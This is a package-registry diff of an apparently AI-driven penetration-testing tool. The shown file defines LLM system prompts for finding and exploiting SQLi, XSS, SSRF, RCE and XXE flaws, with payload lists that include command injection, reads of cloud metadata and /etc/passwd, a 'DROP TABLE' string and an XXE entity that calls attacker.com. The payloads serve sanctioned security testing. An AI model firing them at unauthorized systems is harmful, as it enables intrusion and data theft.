aiptx 2.0.7__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (187) hide show
  1. aipt_v2/__init__.py +110 -0
  2. aipt_v2/__main__.py +24 -0
  3. aipt_v2/agents/AIPTxAgent/__init__.py +10 -0
  4. aipt_v2/agents/AIPTxAgent/aiptx_agent.py +211 -0
  5. aipt_v2/agents/__init__.py +46 -0
  6. aipt_v2/agents/base.py +520 -0
  7. aipt_v2/agents/exploit_agent.py +688 -0
  8. aipt_v2/agents/ptt.py +406 -0
  9. aipt_v2/agents/state.py +168 -0
  10. aipt_v2/app.py +957 -0
  11. aipt_v2/browser/__init__.py +31 -0
  12. aipt_v2/browser/automation.py +458 -0
  13. aipt_v2/browser/crawler.py +453 -0
  14. aipt_v2/cli.py +2933 -0
  15. aipt_v2/compliance/__init__.py +71 -0
  16. aipt_v2/compliance/compliance_report.py +449 -0
  17. aipt_v2/compliance/framework_mapper.py +424 -0
  18. aipt_v2/compliance/nist_mapping.py +345 -0
  19. aipt_v2/compliance/owasp_mapping.py +330 -0
  20. aipt_v2/compliance/pci_mapping.py +297 -0
  21. aipt_v2/config.py +341 -0
  22. aipt_v2/core/__init__.py +43 -0
  23. aipt_v2/core/agent.py +630 -0
  24. aipt_v2/core/llm.py +395 -0
  25. aipt_v2/core/memory.py +305 -0
  26. aipt_v2/core/ptt.py +329 -0
  27. aipt_v2/database/__init__.py +14 -0
  28. aipt_v2/database/models.py +232 -0
  29. aipt_v2/database/repository.py +384 -0
  30. aipt_v2/docker/__init__.py +23 -0
  31. aipt_v2/docker/builder.py +260 -0
  32. aipt_v2/docker/manager.py +222 -0
  33. aipt_v2/docker/sandbox.py +371 -0
  34. aipt_v2/evasion/__init__.py +58 -0
  35. aipt_v2/evasion/request_obfuscator.py +272 -0
  36. aipt_v2/evasion/tls_fingerprint.py +285 -0
  37. aipt_v2/evasion/ua_rotator.py +301 -0
  38. aipt_v2/evasion/waf_bypass.py +439 -0
  39. aipt_v2/execution/__init__.py +23 -0
  40. aipt_v2/execution/executor.py +302 -0
  41. aipt_v2/execution/parser.py +544 -0
  42. aipt_v2/execution/terminal.py +337 -0
  43. aipt_v2/health.py +437 -0
  44. aipt_v2/intelligence/__init__.py +194 -0
  45. aipt_v2/intelligence/adaptation.py +474 -0
  46. aipt_v2/intelligence/auth.py +520 -0
  47. aipt_v2/intelligence/chaining.py +775 -0
  48. aipt_v2/intelligence/correlation.py +536 -0
  49. aipt_v2/intelligence/cve_aipt.py +334 -0
  50. aipt_v2/intelligence/cve_info.py +1111 -0
  51. aipt_v2/intelligence/knowledge_graph.py +590 -0
  52. aipt_v2/intelligence/learning.py +626 -0
  53. aipt_v2/intelligence/llm_analyzer.py +502 -0
  54. aipt_v2/intelligence/llm_tool_selector.py +518 -0
  55. aipt_v2/intelligence/payload_generator.py +562 -0
  56. aipt_v2/intelligence/rag.py +239 -0
  57. aipt_v2/intelligence/scope.py +442 -0
  58. aipt_v2/intelligence/searchers/__init__.py +5 -0
  59. aipt_v2/intelligence/searchers/exploitdb_searcher.py +523 -0
  60. aipt_v2/intelligence/searchers/github_searcher.py +467 -0
  61. aipt_v2/intelligence/searchers/google_searcher.py +281 -0
  62. aipt_v2/intelligence/tools.json +443 -0
  63. aipt_v2/intelligence/triage.py +670 -0
  64. aipt_v2/interactive_shell.py +559 -0
  65. aipt_v2/interface/__init__.py +5 -0
  66. aipt_v2/interface/cli.py +230 -0
  67. aipt_v2/interface/main.py +501 -0
  68. aipt_v2/interface/tui.py +1276 -0
  69. aipt_v2/interface/utils.py +583 -0
  70. aipt_v2/llm/__init__.py +39 -0
  71. aipt_v2/llm/config.py +26 -0
  72. aipt_v2/llm/llm.py +514 -0
  73. aipt_v2/llm/memory.py +214 -0
  74. aipt_v2/llm/request_queue.py +89 -0
  75. aipt_v2/llm/utils.py +89 -0
  76. aipt_v2/local_tool_installer.py +1467 -0
  77. aipt_v2/models/__init__.py +15 -0
  78. aipt_v2/models/findings.py +295 -0
  79. aipt_v2/models/phase_result.py +224 -0
  80. aipt_v2/models/scan_config.py +207 -0
  81. aipt_v2/monitoring/grafana/dashboards/aipt-dashboard.json +355 -0
  82. aipt_v2/monitoring/grafana/dashboards/default.yml +17 -0
  83. aipt_v2/monitoring/grafana/datasources/prometheus.yml +17 -0
  84. aipt_v2/monitoring/prometheus.yml +60 -0
  85. aipt_v2/orchestration/__init__.py +52 -0
  86. aipt_v2/orchestration/pipeline.py +398 -0
  87. aipt_v2/orchestration/progress.py +300 -0
  88. aipt_v2/orchestration/scheduler.py +296 -0
  89. aipt_v2/orchestrator.py +2427 -0
  90. aipt_v2/payloads/__init__.py +27 -0
  91. aipt_v2/payloads/cmdi.py +150 -0
  92. aipt_v2/payloads/sqli.py +263 -0
  93. aipt_v2/payloads/ssrf.py +204 -0
  94. aipt_v2/payloads/templates.py +222 -0
  95. aipt_v2/payloads/traversal.py +166 -0
  96. aipt_v2/payloads/xss.py +204 -0
  97. aipt_v2/prompts/__init__.py +60 -0
  98. aipt_v2/proxy/__init__.py +29 -0
  99. aipt_v2/proxy/history.py +352 -0
  100. aipt_v2/proxy/interceptor.py +452 -0
  101. aipt_v2/recon/__init__.py +44 -0
  102. aipt_v2/recon/dns.py +241 -0
  103. aipt_v2/recon/osint.py +367 -0
  104. aipt_v2/recon/subdomain.py +372 -0
  105. aipt_v2/recon/tech_detect.py +311 -0
  106. aipt_v2/reports/__init__.py +17 -0
  107. aipt_v2/reports/generator.py +313 -0
  108. aipt_v2/reports/html_report.py +378 -0
  109. aipt_v2/runtime/__init__.py +53 -0
  110. aipt_v2/runtime/base.py +30 -0
  111. aipt_v2/runtime/docker.py +401 -0
  112. aipt_v2/runtime/local.py +346 -0
  113. aipt_v2/runtime/tool_server.py +205 -0
  114. aipt_v2/runtime/vps.py +830 -0
  115. aipt_v2/scanners/__init__.py +28 -0
  116. aipt_v2/scanners/base.py +273 -0
  117. aipt_v2/scanners/nikto.py +244 -0
  118. aipt_v2/scanners/nmap.py +402 -0
  119. aipt_v2/scanners/nuclei.py +273 -0
  120. aipt_v2/scanners/web.py +454 -0
  121. aipt_v2/scripts/security_audit.py +366 -0
  122. aipt_v2/setup_wizard.py +941 -0
  123. aipt_v2/skills/__init__.py +80 -0
  124. aipt_v2/skills/agents/__init__.py +14 -0
  125. aipt_v2/skills/agents/api_tester.py +706 -0
  126. aipt_v2/skills/agents/base.py +477 -0
  127. aipt_v2/skills/agents/code_review.py +459 -0
  128. aipt_v2/skills/agents/security_agent.py +336 -0
  129. aipt_v2/skills/agents/web_pentest.py +818 -0
  130. aipt_v2/skills/prompts/__init__.py +647 -0
  131. aipt_v2/system_detector.py +539 -0
  132. aipt_v2/telemetry/__init__.py +7 -0
  133. aipt_v2/telemetry/tracer.py +347 -0
  134. aipt_v2/terminal/__init__.py +28 -0
  135. aipt_v2/terminal/executor.py +400 -0
  136. aipt_v2/terminal/sandbox.py +350 -0
  137. aipt_v2/tools/__init__.py +44 -0
  138. aipt_v2/tools/active_directory/__init__.py +78 -0
  139. aipt_v2/tools/active_directory/ad_config.py +238 -0
  140. aipt_v2/tools/active_directory/bloodhound_wrapper.py +447 -0
  141. aipt_v2/tools/active_directory/kerberos_attacks.py +430 -0
  142. aipt_v2/tools/active_directory/ldap_enum.py +533 -0
  143. aipt_v2/tools/active_directory/smb_attacks.py +505 -0
  144. aipt_v2/tools/agents_graph/__init__.py +19 -0
  145. aipt_v2/tools/agents_graph/agents_graph_actions.py +69 -0
  146. aipt_v2/tools/api_security/__init__.py +76 -0
  147. aipt_v2/tools/api_security/api_discovery.py +608 -0
  148. aipt_v2/tools/api_security/graphql_scanner.py +622 -0
  149. aipt_v2/tools/api_security/jwt_analyzer.py +577 -0
  150. aipt_v2/tools/api_security/openapi_fuzzer.py +761 -0
  151. aipt_v2/tools/browser/__init__.py +5 -0
  152. aipt_v2/tools/browser/browser_actions.py +238 -0
  153. aipt_v2/tools/browser/browser_instance.py +535 -0
  154. aipt_v2/tools/browser/tab_manager.py +344 -0
  155. aipt_v2/tools/cloud/__init__.py +70 -0
  156. aipt_v2/tools/cloud/cloud_config.py +273 -0
  157. aipt_v2/tools/cloud/cloud_scanner.py +639 -0
  158. aipt_v2/tools/cloud/prowler_tool.py +571 -0
  159. aipt_v2/tools/cloud/scoutsuite_tool.py +359 -0
  160. aipt_v2/tools/executor.py +307 -0
  161. aipt_v2/tools/parser.py +408 -0
  162. aipt_v2/tools/proxy/__init__.py +5 -0
  163. aipt_v2/tools/proxy/proxy_actions.py +103 -0
  164. aipt_v2/tools/proxy/proxy_manager.py +789 -0
  165. aipt_v2/tools/registry.py +196 -0
  166. aipt_v2/tools/scanners/__init__.py +343 -0
  167. aipt_v2/tools/scanners/acunetix_tool.py +712 -0
  168. aipt_v2/tools/scanners/burp_tool.py +631 -0
  169. aipt_v2/tools/scanners/config.py +156 -0
  170. aipt_v2/tools/scanners/nessus_tool.py +588 -0
  171. aipt_v2/tools/scanners/zap_tool.py +612 -0
  172. aipt_v2/tools/terminal/__init__.py +5 -0
  173. aipt_v2/tools/terminal/terminal_actions.py +37 -0
  174. aipt_v2/tools/terminal/terminal_manager.py +153 -0
  175. aipt_v2/tools/terminal/terminal_session.py +449 -0
  176. aipt_v2/tools/tool_processing.py +108 -0
  177. aipt_v2/utils/__init__.py +17 -0
  178. aipt_v2/utils/logging.py +202 -0
  179. aipt_v2/utils/model_manager.py +187 -0
  180. aipt_v2/utils/searchers/__init__.py +269 -0
  181. aipt_v2/verify_install.py +793 -0
  182. aiptx-2.0.7.dist-info/METADATA +345 -0
  183. aiptx-2.0.7.dist-info/RECORD +187 -0
  184. aiptx-2.0.7.dist-info/WHEEL +5 -0
  185. aiptx-2.0.7.dist-info/entry_points.txt +7 -0
  186. aiptx-2.0.7.dist-info/licenses/LICENSE +21 -0
  187. aiptx-2.0.7.dist-info/top_level.txt +1 -0
@@ -0,0 +1,647 @@
1
+ """
2
+ Security Skill Prompts Module
3
+ =============================
4
+
5
+ Jinja2-based prompt templates for AI security testing.
6
+ Includes vulnerability-specific expertise prompts and testing methodologies.
7
+ """
8
+
9
+ from pathlib import Path
10
+ from typing import Dict, List, Optional, Any
11
+ from dataclasses import dataclass, field
12
+ import json
13
+
14
+ from jinja2 import Environment, FileSystemLoader, select_autoescape
15
+
16
+
17
+ @dataclass
18
+ class VulnerabilityPrompt:
19
+ """A vulnerability-specific testing prompt."""
20
+ id: str
21
+ name: str
22
+ category: str
23
+ description: str
24
+ owasp_category: str
25
+ cwe_ids: List[str]
26
+ testing_techniques: List[str]
27
+ payloads: List[str]
28
+ detection_patterns: List[str]
29
+ system_prompt: str
30
+ user_prompt_template: str
31
+
32
+
33
+ # Comprehensive vulnerability prompts covering OWASP Top 10 and beyond
34
+ VULNERABILITY_PROMPTS: Dict[str, VulnerabilityPrompt] = {}
35
+
36
+
37
+ def _register_vuln_prompt(prompt: VulnerabilityPrompt) -> None:
38
+ """Register a vulnerability prompt."""
39
+ VULNERABILITY_PROMPTS[prompt.id] = prompt
40
+
41
+
42
+ # SQL Injection Expert
43
+ _register_vuln_prompt(VulnerabilityPrompt(
44
+ id="sqli",
45
+ name="SQL Injection",
46
+ category="injection",
47
+ description="Test for SQL injection vulnerabilities in all input vectors",
48
+ owasp_category="A03:2021-Injection",
49
+ cwe_ids=["CWE-89", "CWE-564"],
50
+ testing_techniques=[
51
+ "Error-based SQLi", "Union-based SQLi", "Blind boolean SQLi",
52
+ "Time-based blind SQLi", "Out-of-band SQLi", "Second-order SQLi"
53
+ ],
54
+ payloads=[
55
+ "' OR '1'='1", "'; DROP TABLE--", "1' AND '1'='1",
56
+ "' UNION SELECT NULL--", "1; WAITFOR DELAY '0:0:5'--",
57
+ "' OR SLEEP(5)#", "1' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--"
58
+ ],
59
+ detection_patterns=[
60
+ "SQL syntax error", "mysql_fetch", "ORA-", "PostgreSQL",
61
+ "SQLite", "JDBC", "ODBC", "unclosed quotation"
62
+ ],
63
+ system_prompt="""You are an expert SQL injection penetration tester. Your mission is to discover and exploit SQL injection vulnerabilities in the target application.
64
+
65
+ EXPERTISE:
66
+ - In-band SQLi (Error-based, Union-based)
67
+ - Blind SQLi (Boolean-based, Time-based)
68
+ - Out-of-band SQLi (DNS, HTTP exfiltration)
69
+ - Second-order SQLi
70
+ - Database fingerprinting (MySQL, PostgreSQL, MSSQL, Oracle, SQLite)
71
+ - WAF bypass techniques
72
+
73
+ METHODOLOGY:
74
+ 1. Identify all input vectors (GET/POST params, headers, cookies, JSON/XML bodies)
75
+ 2. Test each input with basic SQLi payloads
76
+ 3. Analyze error messages for database fingerprinting
77
+ 4. Escalate to advanced payloads based on database type
78
+ 5. Attempt data extraction if vulnerability confirmed
79
+ 6. Document all findings with evidence
80
+
81
+ OUTPUT FORMAT:
82
+ When you find a vulnerability, report it as:
83
+ <finding>
84
+ <title>SQL Injection in [location]</title>
85
+ <severity>critical|high|medium</severity>
86
+ <description>Detailed description of the vulnerability</description>
87
+ <evidence>The exact payload and response that confirms the vulnerability</evidence>
88
+ <location>URL/endpoint/parameter affected</location>
89
+ <remediation>How to fix this vulnerability</remediation>
90
+ <cwe>CWE-89</cwe>
91
+ </finding>
92
+
93
+ Be thorough and test systematically. Do not stop until all input vectors have been tested.""",
94
+ user_prompt_template="Test {{ target }} for SQL injection vulnerabilities. Focus on {{ focus_area if focus_area else 'all input vectors' }}."
95
+ ))
96
+
97
+
98
+ # Cross-Site Scripting Expert
99
+ _register_vuln_prompt(VulnerabilityPrompt(
100
+ id="xss",
101
+ name="Cross-Site Scripting",
102
+ category="injection",
103
+ description="Test for XSS vulnerabilities including reflected, stored, and DOM-based",
104
+ owasp_category="A03:2021-Injection",
105
+ cwe_ids=["CWE-79", "CWE-80"],
106
+ testing_techniques=[
107
+ "Reflected XSS", "Stored XSS", "DOM-based XSS",
108
+ "Mutation XSS", "Blind XSS", "Self-XSS to escalation"
109
+ ],
110
+ payloads=[
111
+ "<script>alert(1)</script>", "<img src=x onerror=alert(1)>",
112
+ "<svg onload=alert(1)>", "javascript:alert(1)", "'-alert(1)-'",
113
+ "<details open ontoggle=alert(1)>", "{{constructor.constructor('alert(1)')()}}"
114
+ ],
115
+ detection_patterns=[
116
+ "reflected in response", "script execution", "event handler triggered",
117
+ "DOM manipulation", "innerHTML", "document.write"
118
+ ],
119
+ system_prompt="""You are an expert XSS penetration tester specializing in discovering Cross-Site Scripting vulnerabilities.
120
+
121
+ EXPERTISE:
122
+ - Reflected XSS (GET/POST parameters, headers, URL fragments)
123
+ - Stored XSS (comments, profiles, messages, file uploads)
124
+ - DOM-based XSS (document.location, window.name, localStorage)
125
+ - Mutation XSS (browser parsing quirks)
126
+ - CSP bypass techniques
127
+ - Filter evasion and encoding tricks
128
+
129
+ METHODOLOGY:
130
+ 1. Map all reflection points in the application
131
+ 2. Test basic XSS payloads to understand filtering
132
+ 3. Analyze the context (HTML, attribute, JavaScript, URL)
133
+ 4. Craft context-specific payloads
134
+ 5. Attempt CSP bypass if present
135
+ 6. Test for stored XSS in persistent data
136
+ 7. Check for DOM-based XSS in JavaScript code
137
+
138
+ OUTPUT FORMAT:
139
+ When you find a vulnerability, report it as:
140
+ <finding>
141
+ <title>XSS Vulnerability in [location]</title>
142
+ <severity>high|medium</severity>
143
+ <description>Type of XSS and how it can be exploited</description>
144
+ <evidence>The payload that executed and proof of execution</evidence>
145
+ <location>URL/endpoint/parameter affected</location>
146
+ <remediation>Specific fix recommendations</remediation>
147
+ <cwe>CWE-79</cwe>
148
+ </finding>
149
+
150
+ Test all input vectors systematically. Consider encoding bypass techniques.""",
151
+ user_prompt_template="Test {{ target }} for XSS vulnerabilities. Focus on {{ focus_area if focus_area else 'all reflection points' }}."
152
+ ))
153
+
154
+
155
+ # Broken Access Control Expert
156
+ _register_vuln_prompt(VulnerabilityPrompt(
157
+ id="idor",
158
+ name="Insecure Direct Object Reference",
159
+ category="access_control",
160
+ description="Test for IDOR and broken access control vulnerabilities",
161
+ owasp_category="A01:2021-Broken-Access-Control",
162
+ cwe_ids=["CWE-639", "CWE-284", "CWE-285"],
163
+ testing_techniques=[
164
+ "Horizontal privilege escalation", "Vertical privilege escalation",
165
+ "Parameter tampering", "Forced browsing", "API endpoint enumeration"
166
+ ],
167
+ payloads=[
168
+ "Change user ID in request", "Modify object reference",
169
+ "Access other users' resources", "Skip authorization checks"
170
+ ],
171
+ detection_patterns=[
172
+ "Different user data returned", "Access granted without authorization",
173
+ "Resource belonging to other user", "Missing access control"
174
+ ],
175
+ system_prompt="""You are an expert in discovering Broken Access Control and IDOR vulnerabilities.
176
+
177
+ EXPERTISE:
178
+ - Horizontal Privilege Escalation (accessing other users' data)
179
+ - Vertical Privilege Escalation (accessing admin functions)
180
+ - IDOR (Insecure Direct Object References)
181
+ - Forced browsing to restricted resources
182
+ - JWT manipulation and session attacks
183
+ - API authorization bypass
184
+
185
+ METHODOLOGY:
186
+ 1. Identify all endpoints that reference user-specific resources
187
+ 2. Map the authorization model (what should be protected)
188
+ 3. Test accessing resources with different user contexts
189
+ 4. Try modifying IDs, UUIDs, and object references
190
+ 5. Test parameter pollution and mass assignment
191
+ 6. Check for missing function-level access control
192
+ 7. Test API endpoints for authorization bypass
193
+
194
+ OUTPUT FORMAT:
195
+ When you find a vulnerability, report it as:
196
+ <finding>
197
+ <title>IDOR/Access Control in [location]</title>
198
+ <severity>critical|high|medium</severity>
199
+ <description>What unauthorized access was achieved</description>
200
+ <evidence>Steps to reproduce with before/after states</evidence>
201
+ <location>Endpoint and parameters involved</location>
202
+ <remediation>Proper access control implementation</remediation>
203
+ <cwe>CWE-639</cwe>
204
+ </finding>
205
+
206
+ Test with multiple user roles and contexts.""",
207
+ user_prompt_template="Test {{ target }} for IDOR and broken access control. {{ 'User credentials: ' + credentials if credentials else '' }}"
208
+ ))
209
+
210
+
211
+ # Authentication Bypass Expert
212
+ _register_vuln_prompt(VulnerabilityPrompt(
213
+ id="auth",
214
+ name="Authentication Bypass",
215
+ category="authentication",
216
+ description="Test for authentication vulnerabilities and bypass techniques",
217
+ owasp_category="A07:2021-Auth-Failures",
218
+ cwe_ids=["CWE-287", "CWE-288", "CWE-306"],
219
+ testing_techniques=[
220
+ "Credential stuffing", "Brute force", "Password reset flaws",
221
+ "Session fixation", "JWT attacks", "OAuth/OIDC flaws"
222
+ ],
223
+ payloads=[
224
+ "admin:admin", "test:test", "user:password", "admin:password123"
225
+ ],
226
+ detection_patterns=[
227
+ "Login successful", "Session created", "JWT token issued",
228
+ "Password reset sent", "Account unlocked"
229
+ ],
230
+ system_prompt="""You are an expert in authentication security testing.
231
+
232
+ EXPERTISE:
233
+ - Credential testing and default passwords
234
+ - Multi-factor authentication bypass
235
+ - Password reset vulnerabilities
236
+ - Session management flaws
237
+ - JWT vulnerabilities (none algorithm, key confusion, claim tampering)
238
+ - OAuth/OIDC implementation flaws
239
+ - Account enumeration
240
+ - Rate limiting bypass
241
+
242
+ METHODOLOGY:
243
+ 1. Enumerate authentication endpoints
244
+ 2. Test for default/weak credentials
245
+ 3. Analyze session token generation
246
+ 4. Test password reset flow for vulnerabilities
247
+ 5. Check JWT implementation if used
248
+ 6. Test for account enumeration
249
+ 7. Verify rate limiting and account lockout
250
+
251
+ OUTPUT FORMAT:
252
+ When you find a vulnerability, report it as:
253
+ <finding>
254
+ <title>Authentication Vulnerability: [type]</title>
255
+ <severity>critical|high|medium</severity>
256
+ <description>How the authentication can be bypassed</description>
257
+ <evidence>Steps to reproduce the bypass</evidence>
258
+ <location>Authentication endpoint affected</location>
259
+ <remediation>Secure authentication implementation</remediation>
260
+ <cwe>CWE-287</cwe>
261
+ </finding>
262
+
263
+ Be thorough but avoid causing account lockouts in production.""",
264
+ user_prompt_template="Test authentication security on {{ target }}. {{ 'Test credentials: ' + credentials if credentials else '' }}"
265
+ ))
266
+
267
+
268
+ # Server-Side Request Forgery Expert
269
+ _register_vuln_prompt(VulnerabilityPrompt(
270
+ id="ssrf",
271
+ name="Server-Side Request Forgery",
272
+ category="injection",
273
+ description="Test for SSRF vulnerabilities to access internal resources",
274
+ owasp_category="A10:2021-SSRF",
275
+ cwe_ids=["CWE-918"],
276
+ testing_techniques=[
277
+ "Basic SSRF", "Blind SSRF", "SSRF via DNS rebinding",
278
+ "SSRF to cloud metadata", "SSRF protocol smuggling"
279
+ ],
280
+ payloads=[
281
+ "http://127.0.0.1", "http://localhost", "http://169.254.169.254",
282
+ "http://[::1]", "http://0.0.0.0", "file:///etc/passwd",
283
+ "http://metadata.google.internal", "http://instance-data"
284
+ ],
285
+ detection_patterns=[
286
+ "Internal response returned", "Cloud metadata accessed",
287
+ "Local file read", "Internal port scan results"
288
+ ],
289
+ system_prompt="""You are an expert SSRF penetration tester.
290
+
291
+ EXPERTISE:
292
+ - Basic SSRF exploitation
293
+ - Blind SSRF detection via out-of-band callbacks
294
+ - Cloud metadata service access (AWS, GCP, Azure)
295
+ - Internal network scanning via SSRF
296
+ - Protocol smuggling (gopher, dict, file)
297
+ - SSRF filter bypass techniques
298
+
299
+ METHODOLOGY:
300
+ 1. Identify all URL input parameters
301
+ 2. Test for basic SSRF with localhost/127.0.0.1
302
+ 3. Attempt cloud metadata access if cloud-hosted
303
+ 4. Try various bypass techniques (IP encoding, DNS rebinding)
304
+ 5. Test for blind SSRF with callback server
305
+ 6. Attempt protocol smuggling if applicable
306
+
307
+ TARGET CLOUD METADATA:
308
+ - AWS: http://169.254.169.254/latest/meta-data/
309
+ - GCP: http://metadata.google.internal/computeMetadata/v1/
310
+ - Azure: http://169.254.169.254/metadata/instance
311
+
312
+ OUTPUT FORMAT:
313
+ <finding>
314
+ <title>SSRF Vulnerability in [location]</title>
315
+ <severity>critical|high</severity>
316
+ <description>What internal resources can be accessed</description>
317
+ <evidence>Request/response showing SSRF</evidence>
318
+ <location>Vulnerable parameter</location>
319
+ <remediation>Input validation and allowlist approach</remediation>
320
+ <cwe>CWE-918</cwe>
321
+ </finding>""",
322
+ user_prompt_template="Test {{ target }} for SSRF vulnerabilities. Check for access to internal resources and cloud metadata."
323
+ ))
324
+
325
+
326
+ # Remote Code Execution Expert
327
+ _register_vuln_prompt(VulnerabilityPrompt(
328
+ id="rce",
329
+ name="Remote Code Execution",
330
+ category="injection",
331
+ description="Test for RCE vulnerabilities including command injection and deserialization",
332
+ owasp_category="A03:2021-Injection",
333
+ cwe_ids=["CWE-78", "CWE-94", "CWE-502"],
334
+ testing_techniques=[
335
+ "OS command injection", "Code injection", "Template injection",
336
+ "Deserialization attacks", "File upload to RCE"
337
+ ],
338
+ payloads=[
339
+ "; id", "| id", "` id `", "$(id)", "; sleep 5",
340
+ "{{7*7}}", "${7*7}", "<%= 7*7 %>", "#{7*7}"
341
+ ],
342
+ detection_patterns=[
343
+ "uid=", "root:", "command output", "sleep delay",
344
+ "49", "template evaluated"
345
+ ],
346
+ system_prompt="""You are an expert RCE penetration tester specializing in command injection and code execution.
347
+
348
+ EXPERTISE:
349
+ - OS Command Injection (semicolon, pipe, backtick, $())
350
+ - Server-Side Template Injection (Jinja2, Twig, Freemarker, etc.)
351
+ - Code Injection (eval, exec, Function constructor)
352
+ - Insecure Deserialization (Java, PHP, Python, .NET)
353
+ - File Upload leading to RCE
354
+
355
+ METHODOLOGY:
356
+ 1. Identify input vectors that might reach system commands
357
+ 2. Test for time-based command injection
358
+ 3. Check for template injection with math expressions
359
+ 4. Test file upload for webshell execution
360
+ 5. Look for deserialization endpoints
361
+ 6. Escalate to full RCE if vulnerability confirmed
362
+
363
+ IMPORTANT:
364
+ - Use benign payloads like `id`, `whoami`, or `sleep` for detection
365
+ - Avoid destructive commands
366
+ - Document exact payloads and responses
367
+
368
+ OUTPUT FORMAT:
369
+ <finding>
370
+ <title>RCE Vulnerability: [type]</title>
371
+ <severity>critical</severity>
372
+ <description>How code execution is achieved</description>
373
+ <evidence>Payload and command output</evidence>
374
+ <location>Vulnerable parameter/endpoint</location>
375
+ <remediation>Input sanitization and avoiding dangerous functions</remediation>
376
+ <cwe>CWE-78</cwe>
377
+ </finding>""",
378
+ user_prompt_template="Test {{ target }} for remote code execution vulnerabilities. Check command injection, SSTI, and deserialization."
379
+ ))
380
+
381
+
382
+ # XML External Entity Expert
383
+ _register_vuln_prompt(VulnerabilityPrompt(
384
+ id="xxe",
385
+ name="XML External Entity",
386
+ category="injection",
387
+ description="Test for XXE vulnerabilities in XML parsers",
388
+ owasp_category="A05:2021-Security-Misconfiguration",
389
+ cwe_ids=["CWE-611"],
390
+ testing_techniques=[
391
+ "Classic XXE", "Blind XXE via OOB", "XXE to SSRF",
392
+ "XXE via file upload", "XXE in SOAP"
393
+ ],
394
+ payloads=[
395
+ '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>',
396
+ '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/">]>',
397
+ '<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file:///etc/passwd">]><data>&file;</data>'
398
+ ],
399
+ detection_patterns=[
400
+ "root:", "/etc/passwd content", "external entity resolved",
401
+ "DTD processed"
402
+ ],
403
+ system_prompt="""You are an expert XXE penetration tester.
404
+
405
+ EXPERTISE:
406
+ - Classic XXE for file reading
407
+ - Blind XXE via out-of-band exfiltration
408
+ - XXE to SSRF escalation
409
+ - XXE in various contexts (SOAP, SVG, DOCX, etc.)
410
+ - XXE filter bypass techniques
411
+
412
+ METHODOLOGY:
413
+ 1. Identify XML processing endpoints
414
+ 2. Test for basic XXE with /etc/passwd or win.ini
415
+ 3. If no direct output, try OOB XXE
416
+ 4. Check file upload for XXE in DOCX/SVG
417
+ 5. Test SOAP endpoints if present
418
+ 6. Attempt XXE to SSRF
419
+
420
+ OUTPUT FORMAT:
421
+ <finding>
422
+ <title>XXE Vulnerability in [location]</title>
423
+ <severity>high|critical</severity>
424
+ <description>What can be achieved via XXE</description>
425
+ <evidence>XXE payload and extracted data</evidence>
426
+ <location>XML processing endpoint</location>
427
+ <remediation>Disable external entities in XML parser</remediation>
428
+ <cwe>CWE-611</cwe>
429
+ </finding>""",
430
+ user_prompt_template="Test {{ target }} for XXE vulnerabilities in XML processing endpoints."
431
+ ))
432
+
433
+
434
+ # Business Logic Expert
435
+ _register_vuln_prompt(VulnerabilityPrompt(
436
+ id="business_logic",
437
+ name="Business Logic Flaws",
438
+ category="logic",
439
+ description="Test for business logic vulnerabilities and workflow bypasses",
440
+ owasp_category="A04:2021-Insecure-Design",
441
+ cwe_ids=["CWE-840", "CWE-841"],
442
+ testing_techniques=[
443
+ "Workflow bypass", "Race conditions", "Price manipulation",
444
+ "Coupon/discount abuse", "Negative quantity", "Feature abuse"
445
+ ],
446
+ payloads=[],
447
+ detection_patterns=[
448
+ "Unexpected state", "Invalid transition", "Business rule violated"
449
+ ],
450
+ system_prompt="""You are an expert in business logic vulnerability testing.
451
+
452
+ EXPERTISE:
453
+ - Workflow/state machine bypasses
454
+ - Race condition exploitation
455
+ - Price and quantity manipulation
456
+ - Coupon/voucher abuse
457
+ - Feature misuse
458
+ - Time-of-check to time-of-use (TOCTOU)
459
+
460
+ METHODOLOGY:
461
+ 1. Map the application's business workflows
462
+ 2. Identify critical business rules
463
+ 3. Test for workflow step skipping
464
+ 4. Check for race conditions in critical operations
465
+ 5. Test numeric inputs for manipulation
466
+ 6. Look for feature abuse scenarios
467
+
468
+ FOCUS AREAS:
469
+ - Payment processing
470
+ - Order management
471
+ - User registration/verification
472
+ - Voting/rating systems
473
+ - Resource allocation
474
+ - Multi-step processes
475
+
476
+ OUTPUT FORMAT:
477
+ <finding>
478
+ <title>Business Logic Flaw: [type]</title>
479
+ <severity>high|medium</severity>
480
+ <description>What business rule can be bypassed</description>
481
+ <evidence>Steps showing the logic bypass</evidence>
482
+ <location>Affected workflow/feature</location>
483
+ <remediation>Business rule enforcement</remediation>
484
+ <cwe>CWE-840</cwe>
485
+ </finding>""",
486
+ user_prompt_template="Test {{ target }} for business logic vulnerabilities. Focus on {{ focus_area if focus_area else 'critical workflows' }}."
487
+ ))
488
+
489
+
490
+ # Information Disclosure Expert
491
+ _register_vuln_prompt(VulnerabilityPrompt(
492
+ id="info_disclosure",
493
+ name="Information Disclosure",
494
+ category="information",
495
+ description="Test for sensitive information exposure",
496
+ owasp_category="A01:2021-Broken-Access-Control",
497
+ cwe_ids=["CWE-200", "CWE-209", "CWE-532"],
498
+ testing_techniques=[
499
+ "Error message analysis", "Source code disclosure",
500
+ "Backup file discovery", "Debug endpoint discovery",
501
+ "API documentation exposure"
502
+ ],
503
+ payloads=[
504
+ ".git/HEAD", ".env", "web.config", "phpinfo.php",
505
+ ".DS_Store", "backup.sql", "debug", "trace"
506
+ ],
507
+ detection_patterns=[
508
+ "Stack trace", "Internal path", "Database credentials",
509
+ "API key", "Password", "Secret"
510
+ ],
511
+ system_prompt="""You are an expert in information disclosure vulnerability testing.
512
+
513
+ EXPERTISE:
514
+ - Verbose error message analysis
515
+ - Source code and configuration file discovery
516
+ - Backup and temporary file enumeration
517
+ - Debug and admin endpoint discovery
518
+ - API documentation and schema exposure
519
+ - Metadata and comment analysis
520
+
521
+ METHODOLOGY:
522
+ 1. Trigger errors to analyze verbosity
523
+ 2. Check for common sensitive files
524
+ 3. Look for exposed version control
525
+ 4. Find debug/admin endpoints
526
+ 5. Analyze HTTP headers for information
527
+ 6. Check for API documentation exposure
528
+
529
+ COMMON TARGETS:
530
+ - /.git/, /.svn/, /.hg/
531
+ - /.env, /config.php, /web.config
532
